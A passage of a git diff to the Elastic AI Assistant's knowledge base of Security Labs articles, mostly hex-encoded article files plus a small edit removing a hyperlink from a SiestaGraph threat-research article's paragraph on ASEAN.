89adcc83eb1482ebafb12f159a67fecf89abf5d6625acccc97d8fbecd3dedfa768a947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c51dcb37ed527d5c11fa31f3047d38bf2803ae4f1b5c6df14214277c9a881cda7947d4a0c65a5e62ba244ee7270be1a2c07e0bf5ef773c95bbe4910099ab1bea3947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2cf16569a5689d625607f72242a953abcd8fcec8d999fefabde7988b0e4fb727b6c11f951715a1f28f4b3a70963ae4a63b6255fdee27102c3c96fda1bec8e06f704f0fe12dc3eb1b139969f8ff340f316bf5e04681865600f936d78379efd0b75e3d3803d3176e4ecc76e0fa50b586e33a956eac90d0bafce6b81a6bf02e0ad91429102ff74c2f305711c2c8d14eef7cf6dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a42694f59026d674ff9dbcc3d8775ff7481a5f8c812e7f4ee6683cb16e7a06c264be5f21c657ae76bf40f033592f5ffe2f7ba4a24d65bbcf8ea5b94ea346ff10b4933ef26e21f58d5f000854e452ba3fe82d3c52525d772556763947f47db59a75b781a787f31356411385a32870f3498dcc83eb1482ebafb12f159a67fecf89a9cf05c8dc3665d67c945585662254c1ecc98358422f3cf5d9672f3f64d16e7b9dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a30b4ae4800868019b9604a939c4446cacee53ed8595f79f55dfaf513b81b0a09108af0256ed9bd0df2d9389b49159b11161a94cd525f399d6b53affe3bc15e188db21de6dbbdfe2f24c12d3ebac51bb5ff4b09f20a04dee3535efeb6fa09e4e8dcc83eb1482ebafb12f159a67fecf89ad9132882f98d75d2abb856b6b7e41fd427ee4f55731f2815c05b3434d0b45a69dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a38df6e638abe3c7843bf37f669bd4684087ed37cc06f4ecd93155e300ca295103449debf9bb7c94a337091b1af67feebe4dbc04e2b2a5d2350f2e8733370581fa5effe43f525949c41431aa410e88a4b83710ab87d7f8509a4ae2af86589a5326803bdc3a375758eb90a547f64f802540b1e3e6247e2b4ca134d101ba531814351e0f776a4a6825e7a7badb667f162ffdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a303901b24a08b89a714b957965813456cc1b52c0d2da5b05a5987e9b7cd0f6e69d1dee2933dff29d566b2d40d277a6ce622de5291c8d7f796156731ba00f243e32a876bab9d023cb9751a01f32acae974b96f0d5cfbdf95a94477cae03af7e25c5471c3e070952e96f368395682d600fdcc83eb1482ebafb12f159a67fecf89a4726578a32b8a78b3b4d93976548be9d2819ba30b3cce9de6235b6f3f8b7cc5fdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a569b12f1e3a99476bb47fb0e6504e0340c972cc69f60e0877ea3d1b3aa8596d37811a430823bd9bcb2c31a6347c3992b294ce837f98ec2711abc77cda2a4430ea9c10866514f106970c7c9b04d496894304bfd2a1528227b404ee4f1c61347e0dcc83eb1482ebafb12f159a67fecf89a3923e5bb9b85f192bf6bcb5e47f4456ca876d6c6f01af1bc80f6e63933e000eedcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af2160dc2d1b8be8e702cfa436660d281de7093312916a945cadd9301f8e25672774afb1f81d18c2f77bea5f60da032549eec1c2425879ce37395cf56f3a1b49b9ad55dfa6710e0b881e17e718acbd2b6fb69ddca0af322a4d33e910567b052ddec5cfa2067dd3610300d216c125da0acdcc83eb1482ebafb12f159a67fecf89a495bd94f47a842e03b33519fbe0b536d7d5a72cbc162e24a75ed07ba983ccd0ddcc83eb1482ebafb12f159a67fecf89a8e37bd148f41fd0a72135432d6c7bba8556b2dd6af0b1a6e019d46da2014e6b23b7dd7e0daee6a9f0d1fdd086f842c0e12fdcb4255e33c04100217bcda663e2dbf4a8157f680cb8f3cc218b487daa66e1c1fa5176a0d8056dd4363cf37d8c1bf508efada81152f4595e2ad47d58504417fcd06f8cadd1e25ea74b68d541647df322bd03376cb4bf67900be6a31e4d5bf8447ec658e9ff8a1e80d9c11b84b84270fb4e480ab506965088634d1e8669004dcc83eb1482ebafb12f159a67fecf89a4847bb3fb73ebdec1503f6a01249f5496e6cc84730f5bae665ed843670fc295b1be1a95d09d05668bc4fa50e0ba5fdda3e9d4acc9f794d8bdee4fb0fde0d6baa3be6f3d10cbefc0a4e84fa72c743798026f378a773c9a677b48aa2a7b0e03d5adcc83eb1482ebafb12f159a67fecf89a4b02f69cb5cba1e971680a61c9d0382ffd00bf05b7cc839ab4f44b470c984efadcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a1075fb04ff96048aa2c8730744b88a1bec4dc226ae2681771e959a386ffb5e0e6888caa3769d7e7d755312f32d9ca74c5b6f327e758199c06c134dba6bfdc0679d08224048d7056c82e02ea0ab29895aa32fe0e1f13d7c75cbf41ee59345039291c2ba1b9f82e6b2cf45955d6a85e3f2ac603072a0104b81cf43b0e5a3fa03b2f49243e57d30ae98f4abb70b3b605a763f88f9cdc6794a98b00635c2af7427a509ba70ba077a84d928c9a5d7b015d70f312112a5e4833b2c4c6a8e99f4cfb61ed67da6b83b5b743dec8be34f97697fa8533a6c95982e949808570fa082d6d9fdd6cf7623fc9a1082807a8f4a3ce7e8e8b0f857da76d33fcdbd44fbaacb43e9ea087a6a2cfb1c7d42935b87f13676a037f2fc8c11adf810e9ccf2947d9824746cdcc83eb1482ebafb12f159a67fecf89abcc71d109cac03ed3c66846b8c2d75dac999227d9e9ccdf36cbac5489e6a067b330fdc75ebb5d1d7b4dc8ca6d55bb79e16fb316203839412ebc0b9e5a387a5cf651125c9780b41cae0fc34b525a477baf4169eca87cb39df9fcd8692730c69a936be17b002297117b0e0c3b86eb6542b15fa07b28b13b9bb12a0b612e5f0c01a140e083e0edc7a6668f26299c439f96d1e7d22db98eff3312faf622582f0e3dbdcc83eb1482ebafb12f159a67fecf89a97ca7e58523bc83676ba382a11795d982efe39432f2f944ebae6d80c7ef789fedcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a42ff5d22e764f2b4d0d3d714ebdd94e4b0f4e6516af50846c6513c89e9eea53655613ef05629069c77a119732210623d02430ca59e4b1b6fb4006ba24d3c81327804a6ba68380b6771fe335a93d62592d76fb8bf180da57593025f10df7f11e9dcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb55ad9044681401116488fa2a43734a4ae6107cba0ea1b979f098eb87b36f90961dcc83eb1482ebafb12f159a67fecf89adee0f1373fe54046452d0289e7303448537e4a7677ed09e47f8cd61e468dcbfb83bc484a195407035d05375945799ad73584250ff02e836520ef9b5393b3ee09a134ea85bce190a55e3d4ec213995df95053dd62bf37b31ac1e67cc3f2be269dd646a16c5917bdf1c73416e405b95bdbdcc83eb1482ebafb12f159a67fecf89a6b283916cb292eab8d28161fbbdc8c401a3488cf13e2fe922212a91a838e171edcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b27235fd96af4b10bfbf06df531886990d274278e8e36e8de081cc42a81158cb26dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a2bd5d7940c8dfeccf1f4167edb168aaa6fc53dfbac4daeab4819692ba6c2abebdcc83eb1482ebafb12f159a67fecf89a6db361b8216a5246f3c72271399906ef4cac4e6016ff3ed262fd8495b7189931dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af96009c13880ea1cbcb8b047a0ce14bf \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.md index 72857d69f89d8..03ae43246389c 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/siestagraph_new_implant_uncovered_in_asean_member_foreign_ministry.md @@ -214,7 +214,7 @@ Elastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp- The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with [ASEAN](https://asean.org/what-we-do) (Association of Southeast Asian Nations). -ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a [Regional Comprehensive Economic Partnership](https://rcepsec.org/about/) trade agreement with a broader periphery of member nations (16 members and 2 applicants). +ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants). ![ASEAN and RCEP member countries](/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image12.jpg) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.encoded.md index 4701b3acc5dd5..467108a222aab 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.encoded.md @@ -1 +1 @@ -c4a164020dd9735b1b1990ce9e188c34a488e0f7a9711d3dff284e554d10222ca80b21445e943f756ce498ed72f6b6aec4793906fc06b717ec3d1c81376d9f0d81b55873d2201482417e7d904b63af375179f989b495eb350dccf2b73e24929593d7f3e1f16c18f1fd54d4d3185a9cb20d994c0e66b56a800df4bb79b8105a10836a21ff8604a2bae7b57749d1955a6d7198cdd863b427243bb2fbc8231cf03007e6362a9f3fbd1716d2cccc2ca5c8d86d6dc6e9eaa757e6f93c9b7fe8cba529af5c11c4d3c69681afa55df716f3a0d0d31488cb2f36fe1f4cac926bbd3e3fe66606bc07952f23606323bef257194ed7a32d12c2b1a5011d75d4225c99be1d704842df130c6e9ae7dae007d7579ec852aca66d9ea4ab3fcc7fbf8423442e27157167ce1ea3702bd1c035889dc91968ba074f5537bc439126d2df75021fe95c98ff10f4c7b5867dbf9171298bc50292974aeeeec01454433fbbe3303a910c8dee992c7d3895d5550e6898f234a244871f808294f98d4636237892326c1d43843a7c0b894d42ce037e724495062c992b81290a6b177dad9a7fabf3c57b3577450d894d570725f04ef7ccc5790461143a2ad42abd4473925d54d55f872366c35fad9595f69ba8e60e8d752e7d6950049d17e81feb30694d7d9a19cf9bddf170b7ba79ec9dc945ba225addae34e2f659adaa2b6ff6b5bc62c09de92f5c5e39b90aff4d7a406cdb69bd3a1d965a4e73e141b387b89b692964d3cff8366359b5d6dec3502ddcb403320c2889a5becdab6616978398b48a5e14b75258105327dfc61228ae0a2ac02bb0210d95524fc51d8a1273f7430150122f427528077398010b47db3b236493180c8421c66b512bff07422be50f2c0caf3ec8bdbcc645ef4e1542bba590ac38577a134380c795b87ca521720905a837947e6391d206b7cc0e81143ba1b9f215e7bc3b496f357e93dddde06bdf515275c7c731424d74bc0911e105c214f4082c4a67476fa36d17d51b815c91605e4abefe63a415200ca60b55156a2ce1382107463c7959c9444fa8ead01d37134da7fb2e8efae011ee5d3910a86ba3a776bad71ddaee6caaaa7d3c75a2da2f3c99bee16fddcc9da6579a6bd5f61bca687ea72cafa8536422a26b88eb2b7002e33c66913bbc27e6206369f99f1c71629def561163df57100fcf99b2101753cc6b37ffe8a4bb369784e3fb939ed29e086f673692a92116406e0dc844b30a6619b7249a2c22b719133599497b99d1e4fba453f2fc58a90ffcb14c341c846bc4da1a7a45c1f4af68c0f949a8e8d40d58b53c0042df8add3e150b9016d4d26b4f9664421635aef352b466601376d3cb5604e7e5b14afbd091ada55694459d189b9d4459652a02116a04601f71498d9d30d9fead0b4825ad9a7ae3a9d867265892a8d91a3cf64d4189866abf356588b012ba190f65b183d738d13710c0182fccbe9830e89a5fa4994d6771999d768984b51faa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfdd79186921849533a25b0c4483f5ff19dbbb963f647d4c930a68ad6948d5a1385f34c09e74a7b4824a2ecc91f377265740faa4a83890a7bd17ae5601074058418e6baedf0ce32c38066f2a85373aae56f2309ffb5c4948dcb2b9137a09c10a0ebce4be56d275db5efd3db3a9d200f951f419386bd6f9a7bfd72dfb8e363cc8758a59239a96b02f3cb18998e10e6ef250049b636c65c0410866c91ab34c9b7bfe713a7967547e33d91e47b6ebf1892fbda40d09d9eafb9a64c480b1dbacd874244067cffa4099208cff19dcca20397aa93fa6af921eb08da15e2f0065d07dd88869089c2282cd4af00fdbcfd409a47e37ef9a4ddeb541e9ab6416ed5bd85e1b9d773564af870a34766dbb0f3c7115e66dfba8a3a5e58b185559d4ac039a8c560619c9b4206e5863329b53d976c0c68a5c7ebdc10cfaee2d815c9d69f30c613de1b0a3eedcb9ff5b0af9c20cfa4f8b4c4746504662e9e03541cb274d0554158cad76676f196192f00c7fcee5d31e21ab0c8be6c776f426e61b7a509a63623978746e6ce39f903a2e6df34b974e3650f29f466ef05e2005a1c5273bbb7c014e9a2c5c080a60dde28cf6e5d720fbd5486a4e816a068770690fff845d14fdb15f1d7f3e993c4c6cd2bd73ebe59ccf8b2592c467109dd89dea20da8c68535a06a75bea3787277f36c49ab86ee66e122c3be15236d15e03c14bbd578905c2dfdb7d024d4b6aab90e64347b3bcd1d01617204ba397f5fb4c6ab8c6773cc8c44cffec7a6d488e8b45167290836a63f9a989a736f9368ea6ed4dfbfc6ea18176d7ed98de582b16fd8cf83522b4a18cf8cafdd3a37d7ee56d8ec0a272321a807e3fc6be77a988e551354c20a5ab38281fb6b431a3f0ed761d9bd97de09604ae83d2a7d8ed20d560d73df5e0eeec2d8e1f4870a16a873e184ed8fb47ef2e03a9ed71a6c8380039d17597cb7cb57722164fc77659d38aaf02c907ae2a8cf9c1ce4af7046791601a747bd2f77634caae9fb926459e13f72ca966e2f3a7a084865bce2c96e06eadc4578279876938d213eb376bc3fd7a3340837dfb24afe7a7b7370307d70b5beeaf30e952c6fa9a066f18719bc57290d29dd707d987ad2e95ca9fc6079513eb0d5babbc0417f3c4a0959b426abd2cc21416efe01d7f803f0fbdbd6ff9f29a9557f510b7e5ee7cdbdab12b398e69d509e5e7b7b29780c9ba0dce3772a801a791a49936fad4ca439cda47d7d43634491d02892e9eae728a8132a39b6259e1bb8007ffc5a7570eae8fd340a039ce9977def48d9617883104b49c9b4d31d8b4effb790fdfcbb782047c27549bcbf7023032828b5d262c91e3962d1088f7916a74e6d14f25e2ba9540ecfbbdd17ac3c085aab41c002f668cb609ee3317984892b8eeaa90c1a2a0471bf397353f77853609490c4a823bb1d8816f496271df3457c8a272b27362503dd5249affebbaf5c048bcc89d2437218e6f2272d4c3742602408266a41d8f447d6bd601a35660a96ede4f1c48b93d473cbd7611fbd03403a59384c46c619faa51e5d886eb4bd82e036fdd5caa2b01110a73586e8b3941c161448de19f5e73b7adf720dbe4e2aa6d85fc8287123cdf79371f27710d10d5de9d40f0c887d011f57d44f84da6016fea3685243b1acd7d3c9524602cf3df1d79f859c954d1290443e443933e66d23d370c4fef87a011333404a47a3791a362da0ff4d9ea9c9792bcf477615d258a08cec97e28e370376b373b58c9c87711397866603b752114723c188b5829c3fb91b624e37dc46d6544974ed75d377809ea591dad42cb64237f7f0069e8e631cc467bf2b50de0635c2d21514a6a909a32c907bb5f04329fd6750aaf9666f8a6e874eea0999db6bf8d09b967f12b03167fc50d4641d8333c2650917225beb7d1700b2b010ffce8cb04fde9bec3a071d87bd2d477bebbef6ce6e21127dba776cd79b21a5c69d71ef1b7ef792099130eb3c0efac1a34c9995060401ff78584220b1ff6866f5678f9dd8f1799ec77079dbc6ffd14e5cece62479185b1659f67ede8880e6cd278cbee00ffdcafecfb05c6a18ad5ecb7c267c8852206f733b053adefe07265503cf346f9543cfe5b78186e3a7e75896ca5a71cff7ee623fdd7fdb529cb37d377f10579954a0fbd69057bdd27aec68aa1a914128228016a8fbc9f54d3caffd206c2de4058df8de7dd982a568c2138bb8bb085da185e6ccb85eb9ffef375a03c8db3c8f19ae6110555e066a557b54a3d1607381aa76d768c6ff033d0db73cf020c62bb9699c582428fd7fc8a793930ed08918d24a5fa92215d2a628a7fe229b3582b08ece04980d29e06980be9fbc15a2660f7218d512b1c946dce44b2c3337dd0b89b6db610a3051014843f61ceeb26192fd9dbe13197c36187e1f5ddc4d8c3f6da0807323ec802f80eee2fe094d391e84d6b3c95f0a490ec5c93f8e15125cb2b22b7b1dc05afe57b18be875ef74df614c1c07ae6a16e0434c8877b104e9c11efeae6cb517fc1d0bd65ed5d9f29144ded95ae8fab93dd90e37d9791cf8259230c82a2233211ff23ef054f61d6a73198a0729219d88e37665cd96010d21c6ea0d7e17166eb54c8dad90069f6103d36377e05fd8b69d89f7844680beee5868e76deac98fc3d61f362aa66425785fdc1e53082c39b9dc0d2af4d52efff77bac79b7da5664d81d5ebe9b5432dedd41ad403254a77ca841feb4c553806984e8e080eb6c971c1f23808deb3af7cecde84a7e7cc242b1ecb4feac9be85a710bd1ff03f5c093f05222812ce8fac6e02e1fcc7de2d037a923c0897de19be6665aecb23d743705c6c1afcf90a37ce4f53e29aae2610c5cd4254b741bfd40cea1a831b6f77239b745d4a8c6e676d1cb377c33c1ecd7eed1df933a53f6ebe2b28cb533bcf82f508423e2af3b140c28a9ad7616a4d3c509e7980c4c847aa2ffc7e6352dd310d3361fcfc710e6bcd184f6784dc2509d312ca591c09385b2f7cfdddc1bf1fdf460fc7224790ccbab4c4e98ab3b860cc5b07be926642d0070414e2fecbe3574e486791611fb4e8329ea4e2889e1d4099be160714d6028e2c954dd5ff835cfe39dc574f1393206e76a8dee566522f82cc8752927fc1e739cbd5204117dd496d84e343b78bbe7bc22a85e4accdb480eadf3742339b829f9dd1bfef4d7dc52d2d9bfaf7cccc4dc1132cc088332429c0441d70749bccb20dc6e50052f4379b7f9a3eeb5000592abceb895147c420c15d500734cdd1b82b678775929fc74b2c88012f1ca8c920145ad2f80486831146243cd636b10b947baab739c143bf1954b790a9f40f9884c53f37cfa24e2c1827677e0938af9c23a155b8f6b08884738ad95803cc0d29c8413c4349cee7c49293d3aff3b95463644476873e8a561ea35c77d15f0e751fc7546d1667b61e0443aff0c4fbc11ac316ea86718d7b253d8eba7b59d91ea545cd8897c722648b7a2da9face8a667bfeca96943313c38e85fc57b7b78686fd58b3ab60b39ee3314e32d6dba8cbd3e6b7a747adf4d8261cde6f1253896fa939d0df12bd59d60fa6e1ace5eb5056c43a84bc4f46f12eb4d102d60dcbb0153e92cabd8e90a8b733586c2b8382dcf444cd105ad30988d341c04a802bb754da4e9394c180e3cabc7653cfb32fd7bc251a37f104f841d3b5426a12b7cc14bdd024072976020fecdd8b8503467298acfda7369f1749fbfc5f313e6f48d635256de0fe0d6e9d4398b862cb2193149b9130746dc8e1d4c37c15f92acbc4465d151a6fc41fd2d71c69e609fef61ad6d921a30aa3330026ff0f56baa34259f6cf7fe699b94698b03a8e37293b4275149d3e0d3dbf18a3fe7ca53c9ef3c54e3b489623a3ba587769c3e39d25249a36955d3cda4b5d65193d0342c5a95a9a93cb6e843677e3c3d59e9e8dc8e942b35a0727f4230b617b6a97cc0763e568ab824f7f680c1ae7dc62f36f5633b30803246e5d83639e8fe6ba24c6eca1d1ede815806a25f8c094920bb3de0a0d875f9209af48e8dbd99881d8d9d4d62e9b36d0f67208ac141788efaf9d3b810a593550536de240b9069d82f0122468c4b82c9b2b631603699f54bcf1b8d89c72faca94e5971087b4332c7bb539fbe588327fd375a41ef2d154e79337c986ff45a22ad44a2eaff7f5cba534480308b30cc96fdf666a589d37989ebe40f2226e82bdf715fe63fd89e3a6b4da408999b99e1f710d15330fc23bf6e55e4806fb3c3bda2be8710a2352f2e593c2bc1c0d5ce260687533fb214d815e2c20a9c82f084c53c5c65044ebff552b7559b089b4a28818bd2958cd3627b2ce7bd00871d779c65ca002c5cc92c1f2c934c5e1ebd0ccbab4c4e98ab3b860cc5b07be926642d0070414e2fecbe3574e486791611fb4e8329ea4e2889e1d4099be160714d60013aa15c708a94350f1d7d85b656fa0f453926038998fd2033066c4ad0d264ef6c943ef7e66d0718c07999fa77831f2127183e9c2929cdfc868699f77c64912b1c40a7141cfa9c8bcf93394750c0c925c381e82b3e408cfbf87eca490aae70162ee6157b091c25dc8768d529749b33cccf930bd87dca464b852e35be2216de94e4b53d46cdfc20034baaac0f53c725a20256115f29e02665323cb78f86b88ddf2de0e5603ab498c7c3a563484d148e69c7167e66b9b2a07b113e954bdc02cd11f0f8169bee718404324ef55f2e6240911058a20089afe95a26838ceb37f8aeb01c4aae0fc3b388e0c15632c72eb9a8e64a2127ce06708db1c749722326102740e4c4e15eaa93a8dfc771e6e72eddf15538757e7c59ddee1c30a0825097dd0adcbb1f31a3a8c97334c88e0bcd2a885a9df087e8e69325067bf7ef75c9bb054ef70b7e49a53f524da4c93d2375e35d9a5a03c8d023faf3a3082a5ec013b263cabf713e7493a64445921cd4ae0ff8f889260da02545537436e5986bb22d79b8906718438c19eb10451b615545ac9ce0cb8d3fc31145339295e9ac33fdd3817874a1d562041c66abaceb9067447d3f50f1ed86e921599e2f0da801db329e35adcf001ee8b0706319a63d3e6eba6b29a288e4a162adcf8f2017b502a29b8931d311f270fa3dd16941e2a2454ef5f0be0c06989b17a4193b808cb8008a2b04a263e41257db87a524aab23ffec781b0da945b22d51307a23d2ff5286479e45a7ff1418fe7eaa4937ba1b6766cb1f6650791615252b3927eaa53a3733b1d114ba15e8f557898d69be58bc8d86a9138fcc2b86cfa1427a560d67be9c62594bd12f67921badb8b6759b4cc1ac71e9e3cafa503ec1c7cb49daad28d019b7956094ce441d043d04338f0c270196a766335d53ad8c3ade3aa3934cef538836c9a67308cd342bf44386806dc401c4177b0a47fbf76f0f80681b0fb235dec1adcaf20e9f6e3be00279f6dea49cce75400d2e6dc462e5482fc26c06b237b5fff7164a354679a1da05524054bcca52218beb8fc382dab83bdb8a0b793bac591dc915d298e777802a24d5415ce4f0f9ed1964802f21c94266cedec95bcb7b4335d878538b6bafde73a96543cd54cdf1c1e03d3e12fd061d319879550f581421e20886d62912e9819dc23a7f18b49fde9bae592a19ecb72f19518b0d12744777bd98f6d142f70a79fa5695ecc741603cd1ff5e984b9b1026b0a8909155a7d7009f087ce731c884f07b139e6ff8755ad18604d3dec50b3161c6fd0cb9ee8ed962892790f02aca3cdb423ea19b27e55cbb45117012ad01a559cc442fe07a2c78b18ef82a67d289331173e6c5cdae1d8a83c4c8c18bdeab3b1456ff52f834c2b3df0514e4257ba906c6c82121d63413c3ce1c0538a2f074b6160bdec9142fcaaf34db0b9d630d9d5a2de7fcac1cc2d98d3d6702940bd56784484cdab550d81c19310a731a36118a78c260a6f8838b51dbd7d99ef116b086cc4910642c328712364185e2df36e6cbc997f6d42e3ef7bd6dae2f40f560101c1776ac1812512a8d46e0e39459a550e2bee765ad1dc825f4a7750fbe84a0c273dc4dc55305e8e042b9ac3006c0261d17e7b0332b3e2ac3c51767c1b57043f3025b31b292aabaa8265ad6c81b791d93c9fabb21cf08ce751c95f00fb94fdd62100d1ff0098d3983842f933b6174808bbc180a4cd1682ae1e446377e89d4931e5bf1359bc77475065347b86771a0f3467d6a090de2ea979e4e9617c2d26afc8e899797fec17f4eeff5c3aa1b7b2619dd264654275b3635523130992a2323aed44d33e08f57f5e45288f2aa978a281826401cd10c27c53426c00d0ca731f6eeed4b88c71fd116c3da0b85d49b14331e4b367894926e440e0aacf6c836e485b013ddb360b739cb71f82f9b5bc125aafd8ff6e3f72ae26c290296c599e110a13a7f5d7c74306719257df34627fd7b3118384a048f30cf05d3490f4bc41ee40285036d098fd8b3bda39f0ec0ece1abc97a20b616328b0b6bd365c9d6d9de00cb82843e5f496058051d21adc264c10367320203d43e0ff2051a5d0ef83aa2aa83f1c87ca6e45cfb77e9145d2bec2e668b38a1e81144b54a67e7d8ac013dc2347e874016a2cbb68e695ac1bcbd96816d03892e46e2fa2a0a801fe639f0ec475007541508b75cce09610b5ca65d6575e415209f93e6395feb487710f131d2e310e752bbc10d237a1c0d991c4ce04d4df8aa26ee4fd7c69ad8dacab5c95902dfc7ded0581b7389e8c63450c7b6a0ebcfce2c6012409c748a76e1eec136c01d16f973b4b0095ae6bda6f836b2b9085ef9e85e84652d1bdeea5402468cb36ba386c04045b479db9314257c4f3291608592c9c651b2dc09bc091ed1fc74e927cc14e2b5b2d95faefc85c8047bb0934afda76640a88fd5851d182dbc5ea614c495126ecdfff024369b2dbe28578332a5209403e5df26b7226bd1167be87652263f9dc2aabb82314c6c26f6cd900c6c2da94348fe2f3c0faadc4cca87f7fbd40758c684367d4ac294b7480dfce7d9ee0a76e96b5d9ae1b58d18c31e124992439bfa8031dc9b677fd9b6abd9987a0e084c90e052620123777b8370ffedaf1a86abc19269693ad331214961775d82a4ef114370d5803da9b987bada77be3f12e1ced7be7d6034e21f55db362799bcc0b884bcc179039012c201cb1d355660601aaf11dcd35bb3a0b65e0de3e97db169837986580f91d3288b370413ed5f8fc0cfd7837bb5d911fcd343dac14906ad26b0e85700e7c86c46c3110a925f0f8169bee718404324ef55f2e6240911058a20089afe95a26838ceb37f8aeb01c4aae0fc3b388e0c15632c72eb9a8e68539d48c833f83b7c657c6e08717d85ceae78210a92cfd78c99ab41be57be1bfe1e6f8d33fb86c3afeeb0e487aadaf430789752677a97dabd5a548654fc8a526c931337bce074d7a889da568da47c23219bb81cad6d025f7519bb8519de1db87b3bb6dc580e3ad95c113d183e426f8a702966c92aa53c8ea1843a212647c7be577f355df9d4ada185377adad76c2556cbefcdd31762e3c5443a172540fd557289169f0bc887b7855a64165567e400e398dcc8ff8f274f9327ca1e579dee8ca91ef08886e0e0402a295a50559a50935a80a1b7d04afb89c2e1d8c72086a85abc662e7cfb5e13ad27f6f49af20a30ad6d9cd23a987d29c086bd020c9acadba3e83aaeb87e42398d1b268ad4966851d0f96e3f09f7fb26e618317fcc391b79c38405dd05434e0fea2a3547cb2d02a46ad0ed36ca4f9d622f933140a63a93c53a50c1150bbd0b4cdf7e9dde9458bf5ac4bd3c4cf0fec2a54892e60c7169b2321b55f5feb9035642e94fe87d454ecdcd13dab876ca0988457a2a6c6c7b4c03e4b95a08641499ff92c827181f4ec08bbe12e26144e202cfc76ba1d4f0e6c2bdd6bc6fa6ef4962e1f876d132e82382f1cb79098393c73264b331a4a273093de2a22083b0f53fb2ce1e71b37b5116e41e1112c295141c057dbfef95484e1f90a50787454e7cb3432c6c6b862e55a7b44e96a0309676516f0c629b89bfdea441411427804071aa4310b65c5772b39326b2ffbd50d3ba15992a107698534457d0c4698b87d8ee5c78f31f16fd7ac9a07ad9faa8ff9c422d596f5b2c62c1c57c856d06d658f5ffb1d8e215dd134cf5e1b82ec998c8b46761df002091dcfafbb26e8643642bc02b847e648a5ac68a647207b58a02e157c42756fba888f4e2fa36b7a52144adb590917b85731d463c8a63ae92adcf8a62af3916796f26cb0b477f05284ea73a25fef82a99c34c0d2bdee8f0f8eff4699be1df44368e64c484c18d7c60640c77ca287b3db05b3fbd49ffcd7eaa166eba817f94fbaae6c50730e977c1e1adbd97b988c05cf0e002b152ec6eb4e85c80224c17bd6821f5eb1246ce62fedf008de1dd3ef0a219f32a4a443a7e986b9184ec04c8c194d6cfa06d698e3c871cdf94d93ec9202a5efb3b840eefdb51546baa473ec45f001f584d43ce8cb5bb727fec4e2a8dd9bba3d50aab2e1429bf7266a9f1c5ecbcad4d27ecf262f4326d871354ce8a338bb43b653e3c27c27071e20129598b8813d12a6fa162b1310d6c87427d26eba5eb77723dd697ac7a34b1dca00158eed0a20e3f25e3892f5b1d6e95a9353b6b5a8982f9fe35da36bde89e8af75edeb4ca317c352046200dae2c509936e077febe949825dd2057f76fbb2ccecd4c1f2bc99d398c291208270519b787fb4f5155a6cb5ade72a1f0a8cbf3a8c879ecbf574537f4dbeb33f211c00175846458a0510693c19690adf83b66e08f8d0a4de46a041623528f04fb3b9a987e7b2d3c6b32046c0db6efee9e45cbe53547b74562bb3a967527be155f6d4c8faa529d3abdd54b67a62390a6136d438cc5f16ba8712fcd2c83a52894abe9f9311c64434d7ee40a234c2e2b3db81e7bd9bf099007d63c3d0005989cbb4117c5d58b8bd30d85bebfb15cc90fa900df705e465517a25f56cbf7f539d57baaf9099c85ebc857a81906af7b11fdd85accc721900dc3061f8a041623528f04fb3b9a987e7b2d3c6b32046c0db6efee9e45cbe53547b74562bb3a967527be155f6d4c8faa529d3abddbea2a2428834571b3519c5ba02168417fcd2c83a52894abe9f9311c64434d7eef322e3666adc839f334ecafb2f94cfb6c3d0005989cbb4117c5d58b8bd30d85b5f47bf10f778dae6acf79ba5f07aad999575d52836af8d59e72958aa3eb19df1c43ccbf28d355f896d267f4c217f9ce2266a0e78aa053a6c23f44cfe90ec8faa8647fc3f6f9aa20399fd2d5df867cc0a3985141e8a32fc60ee82ae2074af3b6d88934381f13b7a412531f9d440a9f9d64745e2cce5afd87a4eb201eb7de17d1cb51865814824421